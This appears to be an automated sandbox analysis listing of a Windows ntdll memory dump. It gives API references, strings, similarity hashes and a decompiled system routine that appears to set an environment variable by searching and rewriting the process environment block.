0x6a932d1f
0x6a932d1f
0x6a932b1f
0x6a932b2f
0x6a932b31
0x6a932b33
0x6a97d455
0x6a97d45b
0x6a97d461
0x6a97d464
0x6a97d466
0x6a97d46c
0x6a97d46c
0x6a97d466
0x00000000
0x6a932b39
0x6a932b39
0x6a932b3f
0x00000000
0x6a932b3f
0x6a932b33
0x6a932a31
0x6a97d3ef
0x6a97d3ef
0x00000000

APIs

memset.1105(?,00000000,0000003C,?,00000000,?), ref: 6A9329D1
RtlFindActivationContextSectionString.1105(00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6A932A20
RtlpEnsureBufferSize.1105(00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6A932BA6
memmove.1105(6A8F4F84,00000000,6A8F4F84,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6A932C06
RtlpEnsureBufferSize.1105(00000000,?,007FFFFE,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6A932CA7
memmove.1105(00000000,00000001,00000000,00000000,?,007FFFFE,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000), ref: 6A932CCC
RtlReleaseActivationContext.1105(?,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6A932D15
RtlpEnsureBufferSize.1105(00000000,?,-00000002,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6A97D4EE

Strings

Internal error check failed, xrefs: 6A97D441, 6A97D5F2
Status != STATUS_NOT_FOUND, xrefs: 6A97D5E3
minkernel\ntdll\sxsisol.cpp, xrefs: 6A97D43C, 6A97D5ED
!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT), xrefs: 6A97D432
@, xrefs: 6A9329C7
[%x.%x] SXS: %s - Relative redirection plus env var expansion., xrefs: 6A97D417
sxsisol_SearchActCtxForDllName, xrefs: 6A97D406

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureRtlpSize$ActivationContextmemmove$FindReleaseSectionStringmemset
String ID: !(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)$@$Internal error check failed$Status != STATUS_NOT_FOUND$[%x.%x] SXS: %s - Relative redirection plus env var expansion.$minkernel\ntdll\sxsisol.cpp$sxsisol_SearchActCtxForDllName
API String ID: 2718660278-761764676
Opcode ID: 676fd1d278094f6ff7dbeb76e8b3d924b9acdcc8a43c5deb54c01519efcbfa7e
Instruction ID: facb607674a75cdfc216ec5bee63749fb5ace4265b46a3e8e85f6771d37c1519
Opcode Fuzzy Hash: 676fd1d278094f6ff7dbeb76e8b3d924b9acdcc8a43c5deb54c01519efcbfa7e
Instruction Fuzzy Hash: BB127174A002299FDF24CF58C881AADB7F4EF59314F2544A9E955EB381EB34E841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A942F70, Relevance: 41.1, APIs: 27, Instructions: 610
memorythreadCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6A942F70(void* _a4, void* _a8, signed int _a12, void* _a16, intOrPtr _a20) {
				long _v8;
				signed int _v12;
				char _v20;
				void* _v29;
				char _v30;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				long _v56;
				void* _v60;
				void* _v64;
				long _v68;
				char _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				signed short _v88;
				signed int _v92;
				signed short _v96;
				signed int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				void* __ebx;
				void* __ebp;
				signed int _t223;
				long _t226;
				signed int _t227;
				intOrPtr _t229;
				void* _t233;
				void* _t244;
				short* _t247;
				void* _t248;
				short* _t251;
				void* _t252;
				void _t253;
				signed int _t262;
				signed int _t266;
				signed short* _t267;
				signed int _t268;
				void* _t269;
				void* _t279;
				void* _t281;
				void _t299;
				signed int _t315;
				signed int _t325;
				void* _t328;
				void* _t329;
				void* _t330;
				signed int _t333;
				void* _t336;
				void* _t337;
				void* _t343;
				void* _t348;
				void* _t349;
				void* _t350;
				void* _t351;
				void* _t352;
				intOrPtr _t353;
				void* _t355;
				void* _t360;
				signed int _t365;
				signed int _t366;
				short* _t369;
				void* _t370;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t380;
				signed short _t381;
				signed short _t382;
				signed int _t389;
				void* _t390;
				void* _t392;
				void* _t393;
				void* _t395;
				signed int _t399;
				signed int _t400;
				signed int _t401;
				intOrPtr _t403;
				void* _t406;
				short* _t407;
				void* _t408;
				short* _t409;
				void* _t412;
				int _t413;
				void* _t414;
				void* _t415;
				short* _t416;
				signed int _t419;
				int _t421;
				int _t422;
				signed int _t423;
				int _t424;
				int _t425;
				signed int _t427;
				void* _t428;
				intOrPtr _t429;
				int _t430;
				void* _t433;
				short* _t434;
				int _t436;
				int _t437;
				signed int _t438;
				signed int _t441;
				void* _t442;
				void* _t443;
				void* _t445;

				_push(0xfffffffe);
				_push(0x6a9eff28);
				_push(0x6a9617f0);
				_push( *[fs:0x0]);
				_t443 = _t442 - 0x5c;
				_t223 =  *0x6aa0d360;
				_v12 = _v12 ^ _t223;
				_push(_t223 ^ _t441);
				 *[fs:0x0] =  &_v20;
				_v52 = 0;
				_v68 = 0;
				_v29 = 0;
				_v30 = 0;
				_t419 = _a12;
				if(_t419 == 0) {
					L100:
					_t226 = 0xc000000d;
					L65:
					 *[fs:0x0] = _v20;
					return _t226;
				}
				_t348 = _a8;
				if( *_t348 == 0) {
					goto L100;
				} else {
					_t227 = 1;
					while(_t227 < _t419) {
						_t389 =  *(_t348 + _t227 * 2) & 0x0000ffff;
						if(_t389 == 0 || _t389 == 0x3d) {
							goto L100;
						} else {
							_t227 = _t227 + 1;
							_t348 = _a8;
							continue;
						}
					}
					_t349 = _a16;
					__eflags = _t349;
					if(_t349 == 0) {
						L12:
						_t229 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						_t336 =  *((intOrPtr*)(_t229 + 0x10));
						_v44 = _t336;
						_v108 = _t336;
						_v56 = 0;
						_v72 = 0;
						_t350 = _a4;
						__eflags = _t350;
						if(_t350 != 0) {
							_t351 =  *_t350;
							_v36 = _t351;
							__eflags =  *(_t336 + 0x48) - _t351;
							if( *(_t336 + 0x48) != _t351) {
								L14:
								_v8 = 0;
								_t406 = _t351;
								_v40 = _t406;
								_t337 = 0;
								_v48 = 0;
								__eflags = _t351;
								if(_t351 == 0) {
									L60:
									_t230 = _v72;
									__eflags = _t230;
									if(_t230 != 0) {
										_t406 = _t230;
										_v40 = _t406;
									}
									__eflags = _t337;
									if(_t337 == 0) {
										__eflags = _a16;
										if(_a16 == 0) {
											goto L62;
										}
										__eflags = _t406;
										if(_t406 == 0) {
											_t353 = _a20;
											_t233 = 6 + (_t419 + _t353) * 2;
											_t390 = 0;
											L74:
											_v80 = _t233;
											__eflags = _t233 - _t390;
											if(_t233 < _t390) {
												_t162 = _t353 + 2; // 0x2
												memmove(_t406 + (_t162 + _t419) * 2, _t406, _t337 - _t406 & 0xfffffffe);
												_t421 = _t419 + _t419;
												memcpy(_t406, _a8, _t421);
												_t445 = _t443 + 0x18;
												_t338 = _v29;
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6aa08220, 0, 0x234);
													_t445 = _t445 + 0xc;
												}
												_t407 = _t406 + _t421;
												_v40 = _t407;
												 *_t407 = 0x3d;
												_t408 = _t407 + 2;
												_v40 = _t408;
												_t422 = _a20 + _a20;
												memcpy(_t408, _a16, _t422);
												_t409 = _t408 + _t422;
												_v40 = _t409;
												_t230 = 0;
												 *_t409 = 0;
												_v40 = _t409 + 2;
												__eflags = _a4;
												if(_a4 != 0) {
													goto L63;
												} else {
													_t352 = _v44;
													 *((intOrPtr*)(_t352 + 0x48)) = _v36;
													_t230 = _v80;
													 *((intOrPtr*)(_t352 + 0x290)) = _v80;
													 *((intOrPtr*)(_t352 + 0x294)) =  *((intOrPtr*)(_t352 + 0x294)) + 1;
													goto L64;
												}
											}
											_t355 = E6A9436CC(_t233);
											_v76 = _t355;
											__eflags = _t355;
											if(_t355 == 0) {
												L106:
												_v56 = 0xc000009a;
												goto L62;
											}
											__eflags = _t406;
											if(_t406 == 0) {
												_t423 = 0;
											} else {
												_t392 = _v36;
												_t427 = _t406 - _t392;
												__eflags = _t427;
												_t423 = _t427 >> 1;
												memcpy(_t355, _t392, _t423 + _t423);
												_t443 = _t443 + 0xc;
												_t355 = _v76;
											}
											_t244 = _t355 + _t423 * 2;
											_v64 = _t244;
											_t424 = _a12 + _a12;
											memcpy(_t244, _a8, _t424);
											_t247 = _v64 + _t424;
											 *_t247 = 0x3d;
											_t248 = _t247 + 2;
											_v64 = _t248;
											_t425 = _a20 + _a20;
											memcpy(_t248, _a16, _t425);
											_t251 = _v64 + _t425;
											 *_t251 = 0;
											_t252 = _t251 + 2;
											__eflags = _t406;
											if(_t406 == 0) {
												 *_t252 = 0;
												_t338 = _v29;
											} else {
												memcpy(_t252, _t406, _t337 - _t406 & 0xfffffffe);
												_t338 = _v29;
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6aa08220, 0, 0x234);
												}
											}
											_t360 = _a4;
											_t253 = _v76;
											__eflags = _t360;
											if(_t360 != 0) {
												 *_t360 = _t253;
											} else {
												_t360 = _v44;
												 *(_t360 + 0x48) = _t253;
												 *((intOrPtr*)(_t360 + 0x290)) = _v80;
												_t146 = _t360 + 0x294;
												 *_t146 =  *(_t360 + 0x294) + 1;
												__eflags =  *_t146;
											}
											__eflags = _v30;
											if(_v30 != 0) {
												E6A92EB70(_t360,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
												_v30 = 0;
											}
											_t230 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
											goto L63;
										}
										_v48 = _t406;
										while(1) {
											L69:
											_t262 =  *_t406 & 0x0000ffff;
											__eflags = _t262;
											if(_t262 == 0) {
												break;
											}
											while(1) {
												_t406 = _t406 + 2;
												_v48 = _t406;
												__eflags = _t262;
												if(_t262 == 0) {
													goto L69;
												}
												_t262 =  *_t406 & 0x0000ffff;
											}
										}
										_v48 = _t406 + 2;
										_t390 = E6A9435D0(_t351,  *( *[fs:0x30] + 0x18), 0, _t351);
										_t337 = _v48;
										_t365 = (_t337 - _v36 >> 1) + _t419 + _a20;
										__eflags = _t365;
										_t233 = 4 + _t365 * 2;
										_t406 = _v40;
										_t353 = _a20;
										goto L74;
									} else {
										L62:
										_t338 = _v29;
										L63:
										_t352 = _v44;
										L64:
										_v8 = 0xfffffffe;
										E6A9435A1(_t230, _t338, _t352);
										_t226 = _v56;
										goto L65;
									}
								}
								_v64 = _v68;
								while(1) {
									L16:
									__eflags =  *_t406 - _t337;
									if( *_t406 == _t337) {
										break;
									}
									_t428 = _t406;
									_v76 = _t428;
									_t366 = 0;
									__eflags = 0;
									_v80 = 0;
									while(1) {
										_t406 = _t406 + 2;
										_v40 = _t406;
										_t266 =  *_t406 & 0x0000ffff;
										__eflags = _t266;
										if(_t266 == 0) {
											break;
										}
										__eflags = _t266 - 0x3d;
										if(_t266 != 0x3d) {
											continue;
										}
										_t366 = _t406 - _t428 >> 1;
										_v80 = _t366;
										_t406 = _t406 + 2;
										__eflags = _t406;
										_v40 = _t406;
										_t328 = _t406;
										_v52 = _t328;
										while(1) {
											__eflags =  *_t406 - _t337;
											if( *_t406 == _t337) {
												break;
											}
											_t406 = _t406 + 2;
											_v40 = _t406;
										}
										_t399 = _t406 - _t328;
										__eflags = _t399;
										_t400 = _t399 >> 1;
										_v64 = _t400;
										_v68 = _t400;
										break;
									}
									_t406 = _t406 + 2;
									_v40 = _t406;
									_t393 = _a8;
									_t267 = _t393;
									_v60 = _t393;
									_v84 = _t428;
									__eflags = _a12 - _t366;
									if(_a12 <= _t366) {
										_t366 = _a12;
									}
									_t367 = _t393 + _t366 * 2;
									_v104 = _t367;
									while(1) {
										__eflags = _t267 - _t367;
										if(_t267 >= _t367) {
											break;
										}
										_t381 =  *_t267 & 0x0000ffff;
										_v88 = _t381;
										_t401 = _t381 & 0x0000ffff;
										_v92 = _t401;
										_t382 =  *_t428 & 0x0000ffff;
										_v96 = _t382;
										_t438 = _t382 & 0x0000ffff;
										_v100 = _t438;
										__eflags = _t401 - _t438;
										if(_t401 == _t438) {
											L37:
											_t267 =  &(_t267[1]);
											_v60 = _t267;
											_t428 = _v84 + 2;
											_v84 = _t428;
											_t367 = _v104;
											continue;
										}
										_t367 =  *0x6aa06d5c;
										__eflags = _t401 - 0x61;
										if(_t401 >= 0x61) {
											__eflags = _t401 - 0x7a;
											if(_t401 > 0x7a) {
												_t315 = ( *( *0x6aa06d5c + (( *(_t367 + (_t401 >> 8) * 2) & 0x0000ffff) + (_t401 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t401 & 0x0000000f);
												_t367 =  *0x6aa06d5c;
												_t401 =  *((intOrPtr*)(_t367 + _t315 * 2)) + _v88 & 0x0000ffff;
												_t267 = _v60;
											} else {
												_t401 = _t401 + 0xffffffe0;
											}
										}
										_v92 = _t401;
										__eflags = _t438 - 0x61;
										if(_t438 >= 0x61) {
											__eflags = _t438 - 0x7a;
											if(_t438 > 0x7a) {
												_t325 = ( *( *0x6aa06d5c + (( *(_t367 + (_t438 >> 8) * 2) & 0x0000ffff) + (_t438 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t438 & 0x0000000f);
												_t367 =  *0x6aa06d5c;
												_t438 =  *((intOrPtr*)( *0x6aa06d5c + _t325 * 2)) + _v96 & 0x0000ffff;
												_t267 = _v60;
											} else {
												_t438 = _t438 + 0xffffffe0;
											}
										}
										_v100 = _t438;
										__eflags = _t401 - _t438;
										if(_t401 == _t438) {
											goto L37;
										} else {
											_t395 = _t401 - _t438;
											__eflags = _t395;
											L32:
											__eflags = _t395;
											if(__eflags == 0) {
												_t343 = _t406;
												_v48 = _t343;
												while(1) {
													L44:
													_t268 =  *_t343 & 0x0000ffff;
													__eflags = _t268;
													if(_t268 == 0) {
														break;
													}
													while(1) {
														_t343 = _t343 + 2;
														_v48 = _t343;
														__eflags = _t268;
														if(_t268 == 0) {
															goto L44;
														}
														_t268 =  *_t343 & 0x0000ffff;
													}
												}
												_t337 = _t343 + 2;
												_v48 = _t337;
												_t269 = _a16;
												__eflags = _t269;
												if(_t269 == 0) {
													_push(_t337 - _t406 & 0xfffffffe);
													_push(_t406);
													_push(_v76);
													L89:
													memmove();
													_t443 = _t443 + 0xc;
													L90:
													__eflags = _v29;
													if(_v29 != 0) {
														memset(0x6aa08220, 0, 0x234);
														_t443 = _t443 + 0xc;
													}
													goto L59;
												}
												_t429 = _a20;
												__eflags = _t429 - _v64;
												if(_t429 <= _v64) {
													_t430 = _t429 + _t429;
													memcpy(_v52, _t269, _t430);
													_t443 = _t443 + 0xc;
													_t369 = _v52 + _t430;
													 *_t369 = 0;
													_t370 = _t369 + 2;
													__eflags = _a20 - _v64;
													if(_a20 == _v64) {
														goto L90;
													}
													_t279 = _t337 - _t406 & 0xfffffffe;
													__eflags = _t279;
													_push(_t279);
													_push(_t406);
													_push(_t370);
													goto L89;
												}
												_t412 = _v36;
												_t281 = E6A9435D0(_t367,  *( *[fs:0x30] + 0x18), 0, _t412);
												_t337 = _v48;
												_t376 = (_t337 - _t412 >> 1) - _v68 + _t429 + (_t337 - _t412 >> 1) - _v68 + _t429;
												_v76 = _t376;
												__eflags = _t376 - _t281;
												if(_t376 < _t281) {
													_t413 = _t429 + _t429;
													_t433 = _v52 + 2 + _t413;
													_t377 = _v40;
													_v80 = _t377;
													memmove(_t433, _t377, _t337 - _t377 & 0xfffffffe);
													_t434 = _t433 - 2;
													 *_t434 = 0;
													memcpy(_t434 - _t413, _a16, _t413);
													_t443 = _t443 + 0x18;
													__eflags = _a4;
													if(_a4 == 0) {
														_t378 = _v44;
														 *((intOrPtr*)(_t378 + 0x48)) = _v36;
														 *((intOrPtr*)(_t378 + 0x290)) = _v76;
														_t213 = _t378 + 0x294;
														 *_t213 =  *(_t378 + 0x294) + 1;
														__eflags =  *_t213;
													}
													__eflags = _v29;
													if(_v29 != 0) {
														memset(0x6aa08220, 0, 0x234);
														_t443 = _t443 + 0xc;
													}
													_t406 = _v80;
													goto L59;
												}
												_t414 = E6A9436CC(_t376);
												_v80 = _t414;
												__eflags = _t414;
												if(_t414 == 0) {
													goto L106;
												}
												_t379 = _v36;
												_t436 = (_v52 - _t379 >> 1) + (_v52 - _t379 >> 1);
												memcpy(_t414, _t379, _t436);
												_t415 = _t414 + _t436;
												_t437 = _a20 + _a20;
												memcpy(_t415, _a16, _t437);
												_t416 = _t415 + _t437;
												 *_t416 = 0;
												memcpy(_t416 + 2, _v40, _t337 - _v40 & 0xfffffffe);
												_t443 = _t443 + 0x24;
												_t380 = _a4;
												_t299 = _v80;
												__eflags = _t380;
												if(_t380 != 0) {
													 *_t380 = _t299;
												} else {
													_t380 = _v44;
													 *(_t380 + 0x48) = _t299;
													 *((intOrPtr*)(_t380 + 0x290)) = _v76;
													_t92 = _t380 + 0x294;
													 *_t92 =  *(_t380 + 0x294) + 1;
													__eflags =  *_t92;
												}
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6aa08220, 0, 0x234);
													_t443 = _t443 + 0xc;
												}
												__eflags = _v30;
												if(_v30 != 0) {
													E6A92EB70(_t380,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
													_v30 = 0;
												}
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
												_t406 = _v40;
												_t337 = _v48;
												goto L59;
											}
											if(__eflags < 0) {
												__eflags = _v72 - _t337;
												if(_v72 == _t337) {
													_v72 = _v76;
												}
											}
											goto L16;
										}
									}
									_t395 = _a12 - _v80;
									goto L32;
								}
								L59:
								_t351 = _v36;
								_t419 = _a12;
								goto L60;
							}
							_t329 =  *(_t229 + 0x1c);
							__eflags = _t329;
							if(_t329 == 0) {
								L103:
								_v29 = 1;
								goto L14;
							} else {
								_t330 = E6A926600(_t329);
								_t351 = _v36;
								__eflags = _t330;
								if(_t330 == 0) {
									goto L14;
								}
								goto L103;
							}
						}
						_v30 = 1;
						_v29 = 1;
						L6A92EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
						_t351 =  *(_t336 + 0x48);
						_v36 = _t351;
						goto L14;
					} else {
						_t333 = 0;
						__eflags = 0;
						_t403 = _a20;
						while(1) {
							__eflags = _t333 - _t403;
							if(_t333 >= _t403) {
								goto L12;
							}
							__eflags =  *((short*)(_t349 + _t333 * 2));
							if( *((short*)(_t349 + _t333 * 2)) == 0) {
								goto L100;
							} else {
								_t333 = _t333 + 1;
								continue;
							}
						}
						goto L12;
					}
				}
			}

0x6a942f75
0x6a942f77
0x6a942f7c
0x6a942f87
0x6a942f88
0x6a942f8e
0x6a942f93
0x6a942f98
0x6a942f9c
0x6a942fa2
0x6a942fa9
0x6a942fb0
0x6a942fb4
0x6a942fb8
0x6a942fbd
0x6a985e6d
0x6a985e6d
0x6a9432f1
0x6a9432f4
0x6a943302
0x6a943302
0x6a942fc3
0x6a942fca
0x00000000
0x6a942fd0
0x6a942fd0
0x6a942fd5
0x6a942fd9
0x6a942fe0
0x00000000
0x6a942fef
0x6a942fef
0x6a942ff0
0x00000000
0x6a942ff0
0x6a942fe0
0x6a942ff5
0x6a942ff8
0x6a942ffa
0x6a943013
0x6a943019
0x6a94301c
0x6a94301f
0x6a943022
0x6a943025
0x6a94302c
0x6a943033
0x6a943036
0x6a943038
0x6a9434db
0x6a9434dd
0x6a9434e0
0x6a9434e3
0x6a94305a
0x6a94305a
0x6a943061
0x6a943063
0x6a943066
0x6a943068
0x6a94306b
0x6a94306d
0x6a9432cd
0x6a9432cd
0x6a9432d0
0x6a9432d2
0x6a943478
0x6a94347a
0x6a94347a
0x6a9432d8
0x6a9432da
0x6a943305
0x6a943309
0x00000000
0x00000000
0x6a94330b
0x6a94330d
0x6a985f99
0x6a985f9f
0x6a985fa6
0x6a943365
0x6a943365
0x6a943368
0x6a94336a
0x6a943503
0x6a943513
0x6a94351b
0x6a943522
0x6a943527
0x6a94352a
0x6a94352d
0x6a94352f
0x6a94353d
0x6a943542
0x6a943542
0x6a943545
0x6a943547
0x6a94354f
0x6a943552
0x6a943555
0x6a94355b
0x6a943563
0x6a94356b
0x6a94356d
0x6a943570
0x6a943572
0x6a943578
0x6a94357b
0x6a94357e
0x00000000
0x6a943584
0x6a943584
0x6a94358a
0x6a94358d
0x6a943590
0x6a943596
0x00000000
0x6a943596
0x6a94357e
0x6a943377
0x6a943379
0x6a94337c
0x6a94337e
0x6a985f0c
0x6a985f0c
0x00000000
0x6a985f0c
0x6a943384
0x6a943386
0x6a985fad
0x6a94338c
0x6a94338e
0x6a943391
0x6a943391
0x6a943393
0x6a94339b
0x6a9433a0
0x6a9433a3
0x6a9433a3
0x6a9433a6
0x6a9433a9
0x6a9433af
0x6a9433b7
0x6a9433c2
0x6a9433c9
0x6a9433cc
0x6a9433cf
0x6a9433d5
0x6a9433dd
0x6a9433e8
0x6a9433ec
0x6a9433ef
0x6a9433f2
0x6a9433f4
0x6a985fb6
0x6a985fb9
0x6a9433fa
0x6a943402
0x6a94340a
0x6a94340d
0x6a94340f
0x6a94341d
0x6a943422
0x6a94340f
0x6a943425
0x6a943428
0x6a94342b
0x6a94342d
0x6a9434ee
0x6a943433
0x6a943433
0x6a943436
0x6a94343c
0x6a943442
0x6a943442
0x6a943442
0x6a943442
0x6a943448
0x6a94344c
0x6a943457
0x6a94345c
0x6a94345c
0x6a94346e
0x00000000
0x6a94346e
0x6a943313
0x6a943316
0x6a943316
0x6a943316
0x6a943319
0x6a94331c
0x00000000
0x00000000
0x6a943320
0x6a943320
0x6a943323
0x6a943326
0x6a943329
0x00000000
0x00000000
0x6a94332b
0x6a94332b
0x6a943320
0x6a943333
0x6a943347
0x6a943349
0x6a943355
0x6a943355
0x6a943358
0x6a94335f
0x6a943362
0x00000000
0x6a9432dc
0x6a9432dc
0x6a9432dc
0x6a9432df
0x6a9432df
0x6a9432e2
0x6a9432e2
0x6a9432e9
0x6a9432ee
0x00000000
0x6a9432ee
0x6a9432da
0x6a943076
0x6a943080
0x6a943080
0x6a943080
0x6a943083
0x00000000
0x00000000
0x6a943089
0x6a94308b
0x6a94308e
0x6a94308e
0x6a943090
0x6a943093
0x6a943093
0x6a943096
0x6a943099
0x6a94309c
0x6a94309f
0x00000000
0x00000000
0x6a9430a1
0x6a9430a4
0x00000000
0x00000000
0x6a9430aa
0x6a9430ac
0x6a9430af
0x6a9430af
0x6a9430b2
0x6a9430b5
0x6a9430b7
0x6a9430c0
0x6a9430c0
0x6a9430c3
0x00000000
0x00000000
0x6a9430c5
0x6a9430c8
0x6a9430c8
0x6a9430cf
0x6a9430cf
0x6a9430d1
0x6a9430d3
0x6a9430d6
0x00000000
0x6a9430d6
0x6a9430d9
0x6a9430dc
0x6a9430df
0x6a9430e2
0x6a9430e4
0x6a9430e7
0x6a9430ea
0x6a9430ed
0x6a943153
0x6a943153
0x6a9430ef
0x6a9430f2
0x6a9430f5
0x6a9430f5
0x6a9430f7
0x00000000
0x00000000
0x6a9430fd
0x6a943100
0x6a943103
0x6a943106
0x6a943109
0x6a94310c
0x6a94310f
0x6a943112
0x6a943115
0x6a943117
0x6a943158
0x6a943158
0x6a94315b
0x6a943161
0x6a943164
0x6a943167
0x00000000
0x6a943167
0x6a943119
0x6a94311f
0x6a943122
0x6a94317a
0x6a94317d
0x6a985eb7
0x6a985eb9
0x6a985ec7
0x6a985eca
0x6a943183
0x6a943183
0x6a943183
0x6a94317d
0x6a943124
0x6a943127
0x6a94312a
0x6a94316c
0x6a94316f
0x6a985ef1
0x6a985ef3
0x6a985f01
0x6a985f04
0x6a943175
0x6a943175
0x6a943175
0x6a94316f
0x6a94312c
0x6a94312f
0x6a943131
0x00000000
0x6a943133
0x6a943133
0x6a943133
0x6a943135
0x6a943135
0x6a943137
0x6a943190
0x6a943192
0x6a943195
0x6a943195
0x6a943195
0x6a943198
0x6a94319b
0x00000000
0x00000000
0x6a9431a0
0x6a9431a0
0x6a9431a3
0x6a9431a6
0x6a9431a9
0x00000000
0x00000000
0x6a9431ab
0x6a9431ab
0x6a9431a0
0x6a9431b0
0x6a9431b3
0x6a9431b6
0x6a9431b9
0x6a9431bb
0x6a9434fc
0x6a9434fd
0x6a9434fe
0x6a9434b0
0x6a9434b0
0x6a9434b5
0x6a9434b8
0x6a9434b8
0x6a9434bc
0x6a9434ce
0x6a9434d3
0x6a9434d3
0x00000000
0x6a9434bc
0x6a9431c1
0x6a9431c4
0x6a9431c7
0x6a943482
0x6a943489
0x6a94348e
0x6a943494
0x6a943498
0x6a94349b
0x6a9434a1
0x6a9434a4
0x00000000
0x00000000
0x6a9434aa
0x6a9434aa
0x6a9434ad
0x6a9434ae
0x6a9434af
0x00000000
0x6a9434af
0x6a9431cd
0x6a9431dc
0x6a9431e1
0x6a9431ef
0x6a9431f1
0x6a9431f4
0x6a9431f6
0x6a985f1f
0x6a985f28
0x6a985f2c
0x6a985f2f
0x6a985f3a
0x6a985f42
0x6a985f47
0x6a985f51
0x6a985f56
0x6a985f59
0x6a985f5d
0x6a985f5f
0x6a985f65
0x6a985f6b
0x6a985f71
0x6a985f71
0x6a985f71
0x6a985f71
0x6a985f77
0x6a985f7b
0x6a985f89
0x6a985f8e
0x6a985f8e
0x6a985f91
0x00000000
0x6a985f91
0x6a943201
0x6a943203
0x6a943206
0x6a943208
0x00000000
0x00000000
0x6a943211
0x6a943218
0x6a94321e
0x6a943226
0x6a94322b
0x6a943233
0x6a94323b
0x6a94323f
0x6a943250
0x6a943255
0x6a943258
0x6a94325b
0x6a94325e
0x6a943260
0x6a985f18
0x6a943266
0x6a943266
0x6a943269
0x6a94326f
0x6a943275
0x6a943275
0x6a943275
0x6a943275
0x6a94327b
0x6a94327f
0x6a94328d
0x6a943292
0x6a943292
0x6a943295
0x6a943299
0x6a9432a4
0x6a9432a9
0x6a9432a9
0x6a9432bc
0x6a9432c1
0x6a9432c4
0x00000000
0x6a9432c4
0x6a943139
0x6a94313f
0x6a943142
0x6a94314b
0x6a94314b
0x6a943142
0x00000000
0x6a943139
0x6a943131
0x6a94318b
0x00000000
0x6a94318b
0x6a9432c7
0x6a9432c7
0x6a9432ca
0x00000000
0x6a9432ca
0x6a985e77
0x6a985e7a
0x6a985e7c
0x6a985e8f
0x6a985e8f
0x00000000
0x6a985e7e
0x6a985e7f
0x6a985e84
0x6a985e87
0x6a985e89
0x00000000
0x00000000
0x00000000
0x6a985e89
0x6a985e7c
0x6a94303e
0x6a943042
0x6a94304f
0x6a943054
0x6a943057
0x00000000
0x6a942ffc
0x6a942ffc
0x6a942ffc
0x6a942ffe
0x6a943001
0x6a943001
0x6a943003
0x00000000
0x00000000
0x6a943005
0x6a94300a
0x00000000
0x6a943010
0x6a943010
0x00000000
0x6a943010
0x6a94300a
0x00000000
0x6a943001
0x6a942ffa

APIs

RtlEnterCriticalSection.1105(?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A94304F
RtlSizeHeap.1105(?,00000000,00000000,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9431DC
memcpy.1105(00000000,00000000,00000000,?,00000000,00000000,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A94321E
memcpy.1105(00000000,6AA079A0,00000000,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943233
memcpy.1105(-00000002,00000000,?,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943250
memset.1105(6AA08220,00000000,00000234,?,?,?,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE), ref: 6A94328D
RtlLeaveCriticalSection.1105(?,?,?,?,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9432A4
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE), ref: 6A9432BC
RtlSizeHeap.1105(?,00000000,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943342
memcpy.1105(00000000,00000000,00000000,?,00000000,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A94339B
memcpy.1105(00000000,?,00000000,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9433B7
memcpy.1105(-00000002,00000000,00000000,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9433DD
memcpy.1105(-00000002,00000000,?,?,?,?,?,?,?,0000003A,6AA079A0,?,00000000,6A9617F0,6A9EFF28,000000FE), ref: 6A943402
